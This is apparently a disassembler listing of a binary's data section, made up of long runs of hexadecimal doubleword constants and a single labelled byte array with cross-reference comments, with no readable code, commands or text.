		dd 7446A566h, 56F65D00h, 69A39FB1h, 7FFF003Ah, 5AF2836h
		dd 4D77B788h, 53DC1707h, 0F9B02BF3h, 7B382C07h,	0E2707ADh
		dd 90983C5Ch, 3A8806ABh, 0FA72EB00h, 40EE33FEh,	41DF0681h
		dd 50791F48h, 0CCE09F00h, 0FC723B54h, 0A22F3918h, 68E46280h
		dd 0CD2255F8h, 8CB89118h, 0FE699A31h, 0F351DCEh, 6CC10020h
		dd 11073256h, 4A6EC500h, 0CCA38AB1h, 0BBA800ADh, 314DDB93h
		dd 0B90F029Bh, 60F589C5h, 9A5963D5h, 0BCBE0033h, 82FCC7F6h
		dd 3F025C7Dh, 0D58C8D46h, 0C07E0E4Ah, 79B2C94Dh, 33070BF5h
		dd 3185BA53h, 65A614C0h, 5DD40E20h, 79238E21h, 0EE0A88Ch
		dd 0DC007FF7h, 1649EAC3h, 10A84EFh, 0B53918D5h,	20288879h
		dd 143DB895h, 0B2860015h, 121CAAA4h, 3DB70EF4h,	0B6C0ADC3h
		dd 5DEAE97Ah, 883963E4h, 374B005Ch, 3DBEE8Dh, 21510065h
		dd 198209B6h, 3648228Bh, 1E530001h, 0CFCE40BEh,	0E927071Dh
		dd 0D0324329h, 0FB9B2FA9h, 0A4013D71h, 2D032673h, 0E8C01CAEh
		dd 0E73707A0h, 7170E2Eh, 0EFEE00DEh, 0C98443Ch,	0B300CB90h
		dd 38B0FD04h, 2119CB1h,	2B47788Dh, 0FE801E68h, 0BB94ACD3h
		dd 1D791300h, 3C4CA2CAh, 2FA70317h, 87DA42B3h, 8864D1B8h
		dd 18FE300h, 37C416DBh,	0F66A0068h, 913A493Fh, 0ED486246h
		dd 4F0775E9h, 7D32A240h, 0E27F1940h, 26297123h,	0E3F717h
		dd 1F22A86Ch, 0F0072827h, 262BD72Dh, 69458820h,	0A9FF001Ah
		dd 8FA8C093h, 66008C8Eh, 2D7B9509h, 0B12BEh, 3562A716h
		dd 0F7205AE5h, 6366CA01h, 0FAB13F94h, 0C667E440h, 82F200ADh
		dd 0BB40DE60h, 0D6000A15h, 0A0BDC42Ch, 2439705Fh, 9D5B24h
		dd 0DD76B92Eh, 670426FBh, 7E51F659h, 0F3C04F83h, 4CF7B9CFh
		dd 0DAE480C6h, 7F5D0FEFh, 24E0574h, 80D6D48Bh, 577C5A24h
		dd 7CB66C24h, 0B237FA01h, 8EC891BAh, 83A7009Ch,	0A301E634h
		dd 0C700C62Eh, 0E8F0A67Ch, 1409F7Bh, 0DA93956Fh, 4402DCF6h
		dd 7A948284h, 0F03EC1E1h, 0C278DE59h, 49A76601h, 247302E1h
		dd 11A6570h, 6EECB60Ch,	0D12C5061h, 7EE830C8h, 9F70EE01h
		dd 0C9CBCCDEh, 89C320h,	0CDE98775h, 44C50341h, 47FBA10Eh
		dd 0E0792FD0h, 0D35EE08Dh, 0B4E1010Dh, 912884DDh, 0BAC5C8CAh
		dd 496F2906h, 4C60C956h, 63807C4Bh, 1EA73BADh, 0CA0515FEh
		dd 0D9113814h, 4F1D8400h, 6BC3B296h, 7B008046h,	4BF9CA3Eh
		dd 0A568A600h, 101C01D1h, 96D3005Fh, 0ECF49922h, 0E07CFE84h
		dd 7FA43400h, 0E17C4441h, 770E0028h, 7E4DC01Bh,	0C900061Eh
		dd 7F53DF22h, 13B04FAh,	4ABE3E83h, 0CC3A6C7Ah, 0B93BA5EAh
		dd 0A29F00B8h, 5CE6965h, 37F07D5h, 1544C4h, 2A731EFBh
		dd 694F0A1Fh, 0D076E1F0h, 0A76012E2h, 9BF4414Eh, 0D8B1BF8Eh
		dd 0D40B72BEh, 806691FEh, 0D654F855h, 0C9640FFDh, 5C89F1B0h
		dd 0D143C20h, 1600D4D1h, 0CF1AF688h, 0BB4CCADh,	851CA6BDh
		dd 1E13B400h, 0C30002B0h, 222A709Ch, 39D15Fh, 945D44C6h
		dd 19133B82h, 682CBA00h, 0FAE94C81h, 1EBD019Bh,	0E7C9106Ah
		dd 2E76F4B3h, 0A4A42050h, 3CD83000h, 0CEEF3507h, 0C34B0001h
		dd 0BF4C2410h, 4700C55Fh, 5228FFF6h, 479E9FBh, 90C1C249h
		dd 0F7A087FDh, 62AF83E6h, 9B647080h, 752EB500h,	0C05FE405h
		dd 0D990053Fh, 0CC36B944h, 61D03D0h, 3980F907h,	0A20E539Eh
		dd 0FCEE044Eh, 8356ECD8h, 0A8D97AA0h, 7D80075Ch, 0F934CD9h
		dd 0DAB2C89Bh, 0D2C96600h, 603BC7Bh, 428908F8h,	535CC8F9h
		dd 4CBA84h, 7576F6FEh, 81FCC850h, 95B9CE50h, 87675100h
		dd 0B74C6CE5h, 89641940h, 725FD0EFh, 92D605B4h,	0DE813F1Dh
		dd 0B070F096h, 0A2771E51h, 0B3D1C0DCh, 4AF6865h, 2AD22060h
		db 61h
byte_520045	db 0DDh, 28h, 12h	; DATA XREF: ___:00437A28o
					; ___:00437A40o
		dd 8070C472h, 7EBDB266h, 36081907h, 5400B524h, 1DBF0EC7h
		dd 80183D05h, 806133B6h, 0E6006390h, 593536D1h,	26569CD3h
		dd 801CC141h, 5A9B2181h, 0D50FCD31h, 20ED3813h,	44AC3467h
		dd 0EEBE0A3Dh, 9C3E7Eh,	0E725BCC8h, 5B8E563h, 0D01FFA09h
		dd 0B8280072h, 0B40934h, 0CA01508Eh, 7927D3AFh,	0C175D3B0h
		dd 17000D90h, 0EA535FD2h, 395DC72h, 7E5EE999h, 0E8C03307h
		dd 0DE49BA1h, 0B2104E07h, 5E0188h, 700C4FB5h, 98A200D3h
		dd 7534CEBh, 0CA756AA0h, 7192BB26h, 0E59C6C01h,	9870F5A3h
		dd 788C2E34h, 87AC3D50h, 16BA80D8h, 0F35BD4DAh,	3B99D600h
		dd 512BC21Eh, 0B1D8132Ch, 0A4580F9Bh, 0C0AB60E4h, 0EBF4631Ch
		dd 0C4376500h, 792D94CFh, 6EA3001Bh, 87DB928Ch,	64B069E1h
		dd 833C6A00h, 0B70648FFh, 0B571006Ch, 1BC5F4ABh, 7C7B046Fh
		dd 0A8D09400h, 0B63E0A4Fh, 0A99812A6h, 69D100FAh, 3F858CDAh
		dd 2846F48h, 14EEC6B2h,	0A2CB00F3h, 0F6582EA6h,	60EC045Ch
		dd 3787A831h, 3F4CE250h, 13F0900Ch, 9CBA71h, 0C8D62A30h
		dd 7E4BB85h, 1F14BD4Ch,	488225E2h, 49C0A4E0h, 1BEC8684h
		dd 2EB88B5Dh, 0B7051273h, 3F8F3D8Eh, 47E9C1Ch, 87C04788h
		dd 31527C80h, 3742006Bh, 7E3281Eh, 0A600B4D2h, 8E01B4Dh
		dd 5077556Ah, 11EF07Eh,	0F0B8E827h, 20F7F86Dh, 2338AA74h
		dd 47AC80F1h, 53F3ED44h, 69C007Ah, 3FB9A686h, 5A7C0C8Dh
		dd 7DF69198h, 45B1E416h, 80AFE809h, 53EF182Ch, 0D9DA1E92h
		dd 275CC09Eh, 0ADD12AB9h, 6B0B6701h, 1157DE03h,	444C20h
		dd 50319076h, 0BC54D8C4h, 29481C00h, 1174538Fh,	17800E19h
		dd 69401442h, 0EC39EB3Dh, 945F1D00h, 70239C26h,	840B0617h
		dd 0D87AAE01h, 22467D00h, 3099CBB4h, 19850705h,	55323687h
		dd 0D9F0C815h, 0DB2E3307h, 9F407E46h, 75602F73h, 95263B8Ch
		dd 45160707h, 0E5C10058h, 8E9539F7h, 7643C372h,	44D0CC94h
		dd 0A8A10A51h, 922194h,	0B67E9738h, 6EE31850h, 13F97400h
		dd 0A167D558h, 158D0032h, 0A24B2F61h, 4E0FCFE4h, 0E0F0A04Fh
		dd 598720DAh, 0BACC122Ch, 8178009Eh, 5F04423Eh,	950020B8h
		dd 0CB0DAD80h, 3AC87FBEh, 26812E57h, 0A83C1D10h, 0F38C2078h
		dd 0B29B8E00h, 9ECF0941h, 0FFD7960h, 354B544Fh,	2900F4B4h
		dd 0D859A0A9h, 0BB007C56h, 0B6D7C668h, 90119218h, 3C908Fh
		dd 0D27423E0h, 28C048D6h, 52C77900h, 7704DC1Ch,	0E11F0017h
		dd 0DD89F2A5h, 32016195h, 5B0FD7E6h, 0D3EF4064h, 7876D849h
		dd 69E003C4h, 770C48EBh, 8A2BF7F8h, 0A4F3A201h,	0C26DCA1Bh
		dd 23EA30h, 0F4FA8214h,	0F0CBCDF5h, 0EDFCBCA1h,	0CFDC38D1h
		dd 0FBD0E0F2h, 73871Ah,	0C0B68698h, 7D45A17Ch, 31047700h
		dd 266FA4DDh, 5EFA23h, 0E8471841h, 38647D6Ch, 0C2D09D0Bh
		dd 0FA8887B7h, 0B20592D4h, 0F9DCD05Fh, 1358AAEDh, 89F72608h
		dd 0FD65A900h, 947F85Eh, 324A44CAh, 40B9E041h, 67F2EEBCh
		dd 9C2AA717h, 1608E502h, 0EBC0E011h, 70A3058Ah,	0EF395EAh
		dd 31E061C0h, 0CC4F55DBh, 0D81AAD07h, 3F6713h, 6BACC2FAh
		dd 0A93B0058h, 7EE68D9Dh, 3F00D298h, 1DCB4C0Eh,	19B3228h
		dd 50CCF31Ah, 0E3331293h, 84FA72A0h, 0D800654Eh, 0CB27CD4h
		dd 0D2CB0359h, 0B5D51C50h, 2BAD70E0h, 213188C0h, 408718A1h
		dd 8E1FAA8Dh, 28C19903h, 6AC8FBF1h, 1113438h, 0BD3D009Ah
		dd 5168C440h, 1F1B0003h, 0C378A229h, 449AC545h,	0D9C16D00h
		dd 0BFACD55h, 1606E47Fh, 18472C6h, 6AE75978h, 0DC5825D5h
		dd 7F3F5204h, 994B0366h, 0F0989D35h, 0EFF57D4h,	0DFC1149Fh
		dd 0B8008729h, 292A2C5h, 6316BB18h, 1C86B4E6h, 70E0307h
		dd 50138AE7h, 79AF7517h, 0D7007CFCh, 0E51AEAA2h, 0FC8C3AD5h
		dd 36A7012Dh, 41DEA977h, 0FB8E30E9h, 12297901h,	0C037D140h
		dd 25265A80h, 1E56909Ch, 24420E00h, 54EF3E93h, 22AC0062h
		dd 0D6C18E84h, 0E877A45Ch, 14880607h, 80B05D39h, 58508D8Ch
		dd 2017D4ABh, 465704C6h, 0DC7CC0E6h, 0CB052DA4h, 0AA96B693h
		dd 0D6C08400h, 14DE47Eh, 0F7288772h, 418357F2h,	0DCAAD7A8h
		dd 0B0A8D277h, 0AC003B50h, 0C0572D3h, 131DC411h, 0D27F36h
		dd 0AFDD0914h, 0D89F66A5h, 501900AFh, 8533917Ch, 740F514Ch
		dd 0C626600Fh, 0FE5038E6h, 311001Fh, 59E50B1Eh,	0C27D2BE3h
		dd 319AF32Eh, 9024DC0Bh, 3EFE290h, 21682FCDh, 0B9F8A66Ch
		dd 0CB3B8055h, 237983ADh, 0E169A3B8h, 763093AEh, 2D3005Eh
		dd 6621FE97h, 811C5F76h, 28E49E6Fh, 0A7A50306h,	1E0403D9h
		dd 33ADD0A0h, 2FC13DF2h, 0F3D1D313h, 4502C47h, 0C326C72Bh
		dd 52F20490h, 30823FC4h, 0BC051F80h, 3301AD3Bh,	143C3400h
		dd 312B0F6h, 94B61F95h,	7760C004h, 25085B29h, 688EE00Bh
		dd 5E8910h, 0F439DF00h,	4AC10FA6h, 0C3C0D4E6h, 0F02584D3h
		dd 47364600h, 2A083A9Ah, 978D14AFh, 641D835Ch, 80D29625h
		dd 89C8494Ch, 0B0E393Bh, 1BE0D2Bh, 9CAE3D8Ch, 5863B05Ch
		dd 545CCEh, 356E07B8h, 1042CD93h, 0F0FF1927h, 410E4EF8h
		dd 20A0D3EEh, 0D076034Bh, 5E2900F3h, 0BF611B1Eh, 5500D7DFh
		dd 1C31D885h, 0C9E89627h, 9800C830h, 71A39AE9h,	0A6CBB0A0h
		dd 0EF94E300h, 0BEEC9CF7h, 18D2009Fh, 0C42C5217h, 84A09385h
		dd 1A128639h, 2800D05Ch, 0E72E0D8Dh, 5980027Dh,	0A861F290h
		dd 2889E0E9h, 0E3C72C4h, 0D9568F0Dh, 0E855D5h, 0C693D01Bh
		dd 4E5E12BDh, 0B1840005h, 26B2E044h, 5DC5EF00h,	682D2361h
		dd 8F300266h, 99D83EC0h, 0BF4A4860h, 400E8EFAh,	6191A8DFh
		dd 3C72DB70h, 74AE20h, 0BD1F5B8Ah, 5F79D822h, 415A7C9Ah
		dd 8EB82Ch, 568FDD0Eh, 49CB8BEh, 6B7C2B0Fh, 0A1660015h
		dd 1FC1D37Eh, 0B898D45h, 7A0FF9EAh, 766811C3h, 0BDBC6E98h
		dd 79830C00h, 0A65B133Eh, 0C03400AFh, 0D8536F32h, 2173581Fh
		dd 15CEC302h, 0C009FD4Fh, 0B62998h, 0D40397CFh,	81AE7291h
		dd 0B7E06800h, 0EA9D62F8h, 0C8BC00F6h, 3C40D5ADh, 6700509Bh
		dd 3FBEF109h, 74A485h, 0A846605Ch, 0A13F824h, 0D65F5Ch
		dd 6ED75070h, 8AE3E8h, 0FE0FD03Ch, 0D15BF199h, 55A1F00h
		dd 82EE45A5h, 0AD172CD6h, 3D5E0028h, 1CE81224h,	272F1800h
		dd 17B229ACh, 1DDA00F7h, 0BCB19FFAh, 0BFFC4645h, 0CBF5E01Fh
		dd 0F683FE81h, 0E230D9BEh, 0CAE400C5h, 0DE40609Ch, 27E8EE6Ch
		dd 336FFE02h, 4182D3CDh, 0B6705457h, 4F730B24h,	1A00B546h
		dd 0F984786h, 4253A100h, 7311F9F5h, 9196012Dh, 1C3355D6h
		dd 0C72E8FCh, 31491800h, 6859EEF7h, 0B0ED0BE8h,	2C80ABD9h
		dd 0D2E2DF33h, 6B58F500h, 0B4B3EF02h, 0A2E71D45h, 0E5364091h
		dd 0AAB09DD8h, 60965D00h, 0E4100175h, 9B6400CEh, 0DB811A7Bh
		dd 121FC820h, 5694C9CBh, 1BC607B4h, 0D58055E8h,	0DD92F2h
		dd 0BB38F56Ch, 219FEFBh, 6414AF00h, 9259ECDAh, 0C9981FDCh
		dd 0C3B6C6Fh, 21B0F341h, 0A899C100h, 11E8E7ABh,	0C59C00FAh
		dd 0EE7E828Eh, 0F01E13D7h, 39400FFDh, 0D66DE48Fh, 17AB00B2h
		dd 3B7773F9h, 0C7FC2E47h, 42266EF0h, 0B000ED9Eh, 535A7D92h
		dd 22F23C4Fh, 12BF6481h, 0D419A032h, 83289B25h,	6B00A8CBh
		dd 0BDFA8BBh, 0A1AED7h,	0F28DE605h, 88DC2A66h, 2BCFA707h
		dd 650307D9h, 0B9EFF0A3h, 0E7C40001h, 5096E222h, 12027A91h
		dd 0F89A72C0h, 0AA8F88h, 1D178DD1h, 476628B5h, 9D502ECh
		dd 228393BFh, 6CFD3040h
		dd 0EA452100h, 0DDC49D3Fh, 0E82009D2h, 54105BEBh, 8F0080CBh
		dd 46A645B1h, 1ECFFC43h, 85CCC1F6h, 0E5B341h, 94ECC490h
		dd 6A01F022h, 0FC90671Eh, 0EC40DA40h, 686EE5h, 86CCAE54h
		dd 15F63F0Ch, 21C078B0h, 5C94F5FCh, 0F2B300A7h,	0B614278Dh
		dd 0FF7DAC46h, 94606628h, 0C965D100h, 0B10D30B7h, 0B3B21755h
		dd 27C70431h, 150090F1h, 64005312h, 96DFD5B5h, 0B1F58Bh
		dd 0B8F76051h, 8744C335h, 0E81C1F00h, 0EA6BDA9Dh, 48A8072Ch
		dd 375EF7Dh, 0DEB645Ch,	0D2EC80F8h, 690011E4h, 90D012D4h
		dd 1B12484h, 28E39616h,	0FD486E01h, 4348205Ah, 1F621F44h
		dd 806DD311h, 36532CDEh, 0A30038B7h, 0E618F8C6h, 5FBAF93h
		dd 5C32BC0h, 0E403EA3Eh, 0A9BABC25h, 0E440FE1Ch, 36A1Bh
		dd 400C4C3Fh, 92B82495h, 141C823Dh, 3E6654Fh, 0BE31E45Fh
		dd 0F55AF93Eh, 6100E022h, 6F3C96B2h, 0E74C9447h, 0C7320097h
		dd 8FE55ACh, 0CFDE4CDCh, 3E246000h, 18C4C930h, 95A23101h
		dd 1D536682h, 0FF1D0h, 891AE3CBh, 0C53C08ABh, 2A1C2605h
		dd 8C032C95h, 0C19EA6E1h, 1FF06DC0h, 0FE5600E6h, 53194BA5h
		dd 1E000FF5h, 0DA81A2CFh, 68A9FFA0h, 109824BEh,	1653002Ch
		dd 2F4EECB4h, 0A3015A1h, 3601F8BDh, 77D1D46Fh, 0AE68D87Ah
		dd 0ED162E00h, 911F3CD9h, 4D60578h, 0CF4B95Ch, 74395B9Ch
		dd 0AC01BFEEh, 431999ABh, 34245677h, 0B21800D7h, 1A29C5DCh
		dd 0AE24984Ah, 0E4011C95h, 860EEB3Dh, 13889434h, 484135h
		dd 0D7C811D2h, 22F2C3CBh, 0BAA9500h, 0D9897DDCh, 5F5C002Dh
		dd 17AEF32Ah, 29000F8Ch, 8F7FF906h, 836910h, 70735350h
		dd 93C4EE15h, 0A5AD8100h, 5ABAC1D4h, 5DC60B85h,	9C8F6564h
		dd 2EE590C0h, 0D60019C0h, 0A5FD83BBh, 696CDBh, 4AC201F9h
		dd 4D3D4C1Dh, 0F849FB0Ah, 0BF00F85Fh, 42D3AFC6h, 0D49A00A0h
		dd 19AAD554h, 0E80384E4h, 8530F7B5h, 0C23E9078h, 0E5000A7h
		dd 0DF76F070h, 100730Ch, 19CBF716h, 18C881C6h, 0C0346490h
		dd 6C1CE9EAh, 0B01E418h, 86ACF7EBh, 945121CDh, 99C76285h
		dd 0B60AB7Ah, 97E9006Dh, 0A73EE282h, 0D802B765h, 4AA9C1D7h
		dd 0FCE080ABh, 188AC7h,	0B46C37CEh, 6206740Ch, 78DDEE00h
		dd 0CC79D58Bh, 0A751000Ah, 48A5DC6Dh, 430702B6h, 0C3196915h
		dd 86067370h, 7F9B72FAh, 0F09071h, 0E577578Bh, 0E6D5AB04h
		dd 98031C3Dh, 0AD2491FCh, 59D202DEh, 673EAA1Ah,	44D41440h
		dd 0F633051Dh, 2754804Eh, 0AF811202h, 95C09342h, 0C02602DEh
		dd 8D5B2421h, 77D0DB00h, 8FF31EBBh, 0F848303Eh,	0BF1B7AB4h
		dd 0B810FE1Eh, 78893CE7h, 0DD9D0EE6h, 0FA608330h, 17D3DBCDh
		dd 96006492h, 855C0595h, 4DAC1Ah, 254C8349h, 0E2DCEED6h
		dd 0F8016400h, 78621B2Fh, 244B0011h, 424DF9CBh,	0FA245C97h
		dd 0B20744A8h, 57D0C99Ah, 0B3F9950h, 12686978h,	46E21880h
		dd 1D00DFC3h, 9CAD86F1h, 0B8A25ED5h, 78DA04F5h,	80A17659h
		dd 7A0AF830h, 51E5840Fh, 18A5C30Ch, 99BCD82Ah, 0F3E30064h
		dd 356358E1h, 3D026668h, 2019523Ch, 7F404065h, 17EE0386h
		dd 14DB6002h, 5BE59588h, 3B44AD00h, 0C5F0B4F5h,	7E3A24B8h
		dd 0CE110034h, 9F3537B0h, 0C8B34E00h, 0D90B28D6h, 8C00486h
		dd 8041A450h, 0AC2FAA40h, 0DCD4FD89h, 0FB5A0590h, 2AFF6B3h
		dd 0DE08EBA4h, 0FC5FF049h, 0FB17F7F3h, 48005B7Eh, 9EE79A57h
		dd 2A4F00F1h, 0EFABD508h, 5403B27Bh, 8A680BB8h,	34718031h
		dd 493BF633h, 0AE0054A9h, 54647C9Eh, 0C898F3C6h, 0EDF18600h
		dd 0B9B59DECh, 6B6E0046h, 7FAC58CDh, 4008B3Fh, 0F0E2C98h
		dd 5D7299h, 2036886h, 0D233F0C5h, 9DAF950Fh, 39F8A0F5h
		dd 0FC1DA0h, 3A475FFDh,	0BE5BE6F3h, 428CDD00h, 0C26C6E34h
		dd 1B4E167Ah, 1A80078h,	0ECC23A2h, 7FC75400h, 0E4F759F0h
		dd 0E0D9F402h, 135174FAh, 0B59A75h, 64F625B1h, 0F10744A4h
		dd 5EF00474h, 81CDE580h, 10940028h, 9ED44695h, 4F03D714h
		dd 0B0980F9h, 492DD8B8h, 9DA02CB1h, 9627003Ch, 0ACE1689Bh
		dd 5BC4DB00h, 4624F22Fh, 0D7621F0Ch, 84043F63h,	80958869h
		dd 2644C28Eh, 0EC0C58F6h, 11408B91h, 0D790D1h, 0D214C627h
		dd 67E3C2ADh, 8F910909h, 1CE98145h, 1E709B73h, 0A8AA00B1h
		dd 42193FA1h, 0D0167CAEh, 8006011Eh, 8E452Fh, 58C5885Ah
		dd 626F9BF9h, 8F3CF67Eh, 1A9F9325h, 0DBA75003h,	0CA3AF963h
		dd 0D020E7E1h, 62A41DF4h, 0F03097D2h, 30038BFh,	349D9AA8h
		dd 1555C4h, 4937DB95h, 0F16D4378h, 0E2E37701h, 0A6C8B168h
		dd 0CD55E4h, 0E0F3E792h, 8EB38663h, 9E5D7F0Eh, 0DD2040F6h
		dd 2E18B6A8h, 424CDEh, 933107B2h, 4739B70Fh, 8C2F07A7h
		dd 0E00FE9DBh, 0CB1A7CC7h, 0FC9495h, 2707762Bh,	0B1CFBB3h
		dd 9B47AB11h, 0A4301A56h, 0E09A66h, 60C5C704h, 7E9D2CC3h
		dd 0AE030207h, 7780C06Eh, 0F9FD15Ah, 60B00B01h,	781D9841h
		dd 0B5BC6058h, 0FBC5B700h, 5F57D8F6h, 0FCFD39BEh, 0C0109E80h
		dd 0A6327FBAh, 6C748D02h, 0C8CD6D07h, 38284Ch, 568F7870h
		dd 7950A4D2h, 1B06B902h, 0E0B6844Dh, 3A97ED3Ch,	6105AC04h
		dd 0D0641335h, 0A499DF48h, 0F274DC03h, 0A34CEF5Dh, 0F909A06Ah
		dd 995A61D9h, 0BC4411D6h, 0ECC10030h, 8CC31CFAh, 1E550005h
		dd 48B354A0h, 44155124h, 1CE4CBh, 7F062635h, 0BE1C354h
		dd 6207883Fh, 400348Fh,	0F947E5FAh, 883E18A0h, 21BD6336h
		dd 39EB0068h, 0F26CD099h, 215EF87h, 2A30F6F9h, 0B4094C22h
		dd 85291C05h, 442021E0h, 0E6F955CEh, 8E7500C5h,	71B2F604h
		dd 21004A82h, 0DC9EE683h, 5A4337h, 0B6CF875Fh, 0A97C25EAh
		dd 73865300h, 0A89B31F6h, 3E2E005Eh, 1DEE5C3Bh,	350059D1h
		dd 215F94DAh, 0AFADFBh,	0C67FFDF1h, 523E450Eh, 9181CBh
		dd 3BC5C40Eh, 0DD5B01ADh, 0E9DFC6E3h, 5A41CCBBh, 22F08700h
		dd 996346AAh, 0F861006Eh, 8169CFFEh, 686E5A19h,	4B8AE018h
		dd 246033B5h, 401C3951h, 6F851BF1h, 277CEF03h, 0D7A4D6A5h
		dd 7216246h, 2685539Ch,	983F106Dh, 310020E8h, 0C286FDC3h
		dd 9E91DCDh, 69CEABECh,	10600C20h, 830AFB6h, 7326114Bh
		dd 0C29E0311h, 0CB64F954h, 8FA1FA93h, 42080B0h,	4DE9116Bh
		dd 0C81B3887h, 0AB4C5E8Eh, 0B1EA2440h, 11B03E40h, 0B077576h
		dd 56BB450Dh, 0B39E13h,	0A4154640h, 491E4E1Fh, 3592440Ch
		dd 0C0C70899h, 1FAC7721h, 760C0740h, 192178A6h,	0E25419B5h
		dd 0F0C3A941h, 901C104Ah, 848CC499h, 70CBD89Bh,	0CD7700E2h
		dd 29603064h, 5E50EA2Ah, 2074D0ACh, 0BCFED400h,	0FAEE4992h
		dd 3406005Ah, 0D10CEC8Ah, 393B084Dh, 0C3A28381h, 90791AD8h
		dd 0FBDCE17h, 0DEC80D53h, 8C3AB580h, 893F55E1h,	0EC820077h
		dd 99BB8A0Eh, 922400FAh, 6A7CB1BCh, 0DC301071h,	9DC950FFh
		dd 3080E9EAh, 0BF11E163h, 640FDE89h, 80DD97CFh,	4146159Bh
		dd 0D0ED3E7Ah, 96BA85BDh, 4A0F7B3Ch, 125F7254h,	0F62A0678h
		dd 2E00A93Dh, 69196C9Dh, 31D7163h, 6A70511Bh, 0DC903F65h
		dd 0DF816C3h, 1884780Ch, 41791881h, 1C5660D6h, 0B98E0200h
		dd 0D9840437h, 0F170004Dh, 0AF4C4FA1h, 0FB0099D7h, 5607CB63h
		dd 0C547C8h, 12F866D5h,	0A7155E6Fh, 0B06D6E00h,	0A8806A88h
		dd 9D9201EAh, 4A76DDE5h, 5E5BE0EBh, 6ABB8201h, 6319BCB5h
		dd 82362990h, 2F54DDEh,	0A122C47Eh, 214A2466h, 6A125B17h
		dd 6F472882h, 0DC21EE24h
		dd 667990E6h, 48541284h, 862F80E2h, 0F3C7D7FFh,	0FC394D1Fh
		dd 0A1CDE980h, 3FCE7925h, 7B810FD0h, 5113F403h,	2BA8F0CCh
		dd 0EE18FA00h, 7E88AC87h, 0D171D2h, 0B60F3DD8h,	0F107BFA8h
		dd 67929900h, 0AFD98A5Dh, 4B7D70D5h, 0F8A85Bh, 7CEB0AC9h
		dd 0E4996209h, 3FD37458h, 9580D7FCh, 2903C875h,	0A200B5FAh
		dd 98F047B2h, 0C7C096h,	85444D5Bh, 0A9D4614Eh, 1C779A00h
		dd 0BB9E62A7h, 0F4C50007h, 0A39195FCh, 0A200E1BAh, 204E1334h
		dd 0DD876Eh, 5FFEC9Dh, 9E597027h, 0CFBAAE01h, 654C5007h
		dd 4949109Eh, 92073FEAh, 4E718043h, 0F8036D6Fh,	8A2CA01Ah
		dd 31F0F05Bh, 0B20800B3h, 6E55E333h, 510082C3h,	0AF43FC5h
		dd 7F68C34h, 727D75CCh,	3205303Bh, 9019BE8h, 0A9465D4Dh
		dd 9080AC2Ch, 27699F03h, 0C1090FB9h, 2FF0E0F2h,	88C36130h
		dd 288075B6h, 0B724B074h, 86004DDAh, 580736FEh,	1BE1969h
		dd 5ED8CFD5h, 0F45565A7h, 9A17B4E8h, 0AC00A5BCh, 0F5ECC63Eh
		dd 0BB5907EBh, 0A09EB558h, 0FEEDF7B7h, 5B12A800h, 0B0BDCCB3h
		dd 16E8001Ch, 10E55315h, 2906ED7Eh, 0E9317489h,	204C0018h
		dd 3340FDA9h, 0DC0063A6h, 5B64CF9Ah, 26617Ch, 0E028E2E8h
		dd 89AF5DBAh, 0A8603507h, 3E80EF34h, 3DA9EE87h,	5B87EA48h
		dd 0E023C888h, 259AFE9Fh, 0C5E5A700h, 3DEF4394h, 5CEA8Bh
		dd 0F93C7CEDh, 1A1DDE09h, 8E219200h, 0E5F237C3h, 0C4660033h
		dd 0B31C4518h, 0AE00B852h, 0C35C0D54h, 0CAAB51h, 3CE69FC6h
		dd 0C88B62B7h, 0F1453B28h, 0B0C1E5B0h, 4A90720Eh, 0CB948080h
		dd 63D9C0FAh, 0DA068F00h, 79E72C31h, 0D2920026h, 95D87471h
		dd 4C00A3D9h, 52B67217h, 0FC24D3B4h, 307192h, 0CB798D2Eh
		dd 89ECCF9Fh, 0AD009AE4h, 0E5A48BA9h, 106855Ah,	0F220B36h
		dd 0F0544FBDh, 0EA0F3763h, 207D83EFh, 0FBF24D03h, 73D40EE3h
		dd 8FE0A590h, 4C3A7B2Bh, 1C1A6A00h, 0B578932Eh,	0A2100097h
		dd 91A59B4Eh, 550445BCh, 0E85347A3h, 2C372C80h,	97060A0Ah
		dd 98F7F0h, 345A80D8h, 2500FB4Bh, 0F48BB017h, 0F81604h
		dd 0B1D66D32h, 8C9F06EEh, 0A7CF7900h, 651461C0h, 640C3966h
		dd 12A67E83h, 0C0004CDDh, 0CC43FAC1h, 0C08CEAh,	51041D83h
		dd 26330C8Eh, 0B60E360Eh, 77DC607Fh, 8412B0h, 860DC988h
		dd 1E68C2Ch, 64F41607h,	83F0A932h, 0A69765h, 0B8093F4Dh
		dd 535048A2h, 0F5D0C350h, 2E663E6h, 0F746101Fh,	0BE7AE780h
		dd 0FB63A13h, 9B04165Bh, 0F0FD8720h, 3600B15Ch,	0DC6A7558h
		dd 1C97800Fh, 80219E4Ah, 0F7282FBCh, 0C50095D6h, 34C18B1h
		dd 0B8BA58h, 0C9AA08F2h, 94E640BDh, 0F066D201h,	0B8C207Ch
		dd 0ECE36CD0h, 0E0355B53h, 0BA0E1058h, 0E0A13FCAh, 8A65DEEEh
		dd 52F100FCh, 3B0FBFD4h, 400043F5h, 837146BEh, 3FD961ADh
		dd 578055E8h, 185E7BA6h, 0F000E412h, 0A05DCCCAh, 7678FBABh
		dd 0B8160209h, 96D5C729h, 0CA870C60h, 0F84CF979h, 3FD10BCBh
		dd 528080BAh, 0F3EA8Ah,	7DA6B3C5h, 0CB34E3D4h, 78B5100h
		dd 0E135DF0h, 752000ADh, 501EF3D0h, 0C41F2B0Fh,	77842CFCh
		dd 7C802A89h, 0B3B66Eh,	70D7573Ch, 0CFA25EE1h, 55339F00h
		dd 12CE209Ah, 0E02350A4h, 8D409DFh, 440088B6h, 72ABAE8Ah
		dd 0E7FE6200h, 1435056Eh, 4432265Ah, 932A005Fh,	4C17770Bh
		dd 63BDA400h, 0DB8088B8h, 0F67F84h, 0C5463419h,	0E9FFEFF1h
		dd 35081203h, 81673Eh, 391B3620h, 0DB6DDDCFh, 5185BE18h
		dd 13E58A29h, 626C1Eh, 812F0BC0h, 9C00D473h, 0B7151A6Bh
		dd 2B896Eh, 203D2E62h, 1CD848B6h, 0D08BA200h, 0BC7153B0h
		dd 93730027h, 0E384C210h, 0F6007E58h, 2D0ABE45h, 5AC552A6h
		dd 32B282E1h, 9F8D7E0h,	0EF002B7Ch, 0F69BE525h,	1E47167Eh
		dd 0BE3BB1h, 0E1899392h, 0B0023135h, 0ABF7F396h, 9C441F6h
		dd 63AFA7C4h, 177E2819h, 1847C4BAh, 1116550Ch, 81A500A2h
		dd 0BFF57985h, 15091F6Fh, 8F7A4B5Dh, 0A89ADB44h, 5F6370h
		dd 8B41C44Eh, 4B7B135Ch, 0EFFDCE00h, 89B0D96Dh,	0F07E003Ah
		dd 7986F3E5h, 1A010408h, 0B271386Bh, 0BFEC75BAh, 0FB1800E9h
